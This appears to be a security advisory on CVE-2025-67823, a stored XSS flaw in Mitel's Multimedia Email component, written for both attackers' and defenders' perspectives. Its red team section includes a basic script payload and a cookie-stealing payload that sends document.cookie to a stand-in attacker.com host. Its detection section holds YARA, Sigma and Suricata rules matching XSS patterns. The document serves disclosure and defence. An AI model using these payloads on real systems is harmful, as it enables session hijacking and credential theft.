CVE-2025-67823

Executive Summary

CVE-2025-67823 is a stored Cross-Site Scripting (XSS) vulnerability in the Multimedia Email component of Mitel MiContact Center Business (up to version 10.2.0.10) and Mitel CX (up to version 1.1.0.1). An unauthenticated attacker can inject arbitrary scripts into email content processed by the system. Successful exploitation requires user interaction (e.g., a victim viewing the malicious email) and the email channel to be enabled. This can lead to session hijacking, credential theft, or malware delivery within the victim’s browser or desktop client.

No public exploit code or proof-of-concept is currently available. The vendor has not released a patch, and the vulnerability remains unpatched at the time of analysis.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of authentication and the potential for widespread phishing campaigns make this a significant concern for organizations using the affected products.

Deep Dive & Mechanics

The vulnerability resides in the Multimedia Email component, which processes incoming email messages. The system fails to properly sanitize or validate user-supplied input within email content (e.g., subject, body, or attachments). An attacker can craft an email containing malicious HTML/JavaScript code. When the email is viewed by a user through the Mitel interface or a desktop client, the injected script executes in the context of the victim’s session.

Attack Flow:

1. Attacker sends a specially crafted email to a target user’s email address that is processed by the Mitel system.
2. The email contains malicious JavaScript embedded in HTML tags (e.g., <script>, <img onerror=...>).
3. The Mitel system stores the email without proper sanitization.
4. When the victim opens the email via the Mitel interface or a desktop client, the script executes.
5. The attacker can then steal session cookies, redirect the user to a phishing site, or perform actions on behalf of the victim.

Root Cause: Insufficient input validation and output encoding in the Multimedia Email component.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, the vulnerable code likely lacks proper HTML encoding or Content Security Policy (CSP) headers. A patched version would implement:

• Input Validation: Strip or encode HTML tags from email content.
• Output Encoding: Use context-aware encoding (e.g., HTML entity encoding) when rendering email content.
• CSP Headers: Restrict script execution to trusted sources.

Example of vulnerable code (pseudo):

// Vulnerable: Directly renders email body without sanitization
document.getElementById('emailBody').innerHTML = emailContent;

Example of patched code (pseudo):

// Patched: Sanitize and encode before rendering
const sanitizedContent = DOMPurify.sanitize(emailContent);
document.getElementById('emailBody').innerHTML = sanitizedContent;

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to send emails to a target user whose email is processed by the Mitel system.
• The email channel must be enabled on the target system.

Exploitation Steps:

1. Craft a malicious email with the following payload in the body:

   <script>alert('XSS')</script>
   

2. Send the email to the target user.
3. When the user opens the email via the Mitel interface, the script executes.

Advanced Payload (Session Hijacking):

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

No public exploit code is available. The above is a generic XSS example.

Blue Team

Detection:

• Monitor email traffic for suspicious HTML/JavaScript patterns.
• Use web application firewalls (WAF) to block common XSS payloads.
• Enable Content Security Policy (CSP) headers on the Mitel interface.

Mitigation:

• Disable the Multimedia Email component if not required.
• Implement strict input validation and output encoding.
• Apply vendor patches as soon as they become available.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from the Mitel server or client.
• Logs: Unusual email content containing <script>, <img onerror=...>, or other HTML event handlers.
• File: Temporary files or cached email content containing malicious JavaScript.
• Behavior: Unexpected redirects, pop-ups, or session anomalies in the Mitel interface.

Example IOC (Suricata rule):

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Mitel XSS - Suspicious Email Content"; flow:to_server; content:"<script"; nocase; content:"onerror"; nocase; sid:1000001; rev:1;)

Detection Engineering

YARA Rule

rule Mitel_XSS_Email_Content {
    meta:
        description = "Detects malicious email content targeting Mitel XSS vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67823"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<[^>]+onerror\s*=[^>]*>/is
        $xss3 = /<[^>]+onload\s*=[^>]*>/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: Mitel XSS Email Content Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects emails with potential XSS payloads targeting Mitel systems
author: Valters IT
date: 2025-04-10
logsource:
    category: email
    product: generic
detection:
    selection:
        - body|contains: '<script'
        - body|contains: 'onerror='
        - body|contains: 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in emails (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Mitel XSS - Outbound Cookie Theft"; flow:to_server; content:"cookie"; nocase; content:"document.cookie"; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Multimedia Email component if not essential for business operations.
2. Implement a web application firewall (WAF) with rules to block common XSS payloads.
3. Enforce Content Security Policy (CSP) headers on the Mitel interface to restrict script execution.
4. Educate users about phishing emails and the risks of opening suspicious messages.

Long-Term Fix:

• Apply vendor patches as soon as they are released.
• Conduct a security audit of the Multimedia Email component to identify and fix input validation flaws.
• Consider using a secure email gateway that sanitizes HTML content before delivery.

Workaround:

• Use a proxy or reverse proxy to filter out malicious content before it reaches the Mitel system.

Valters IT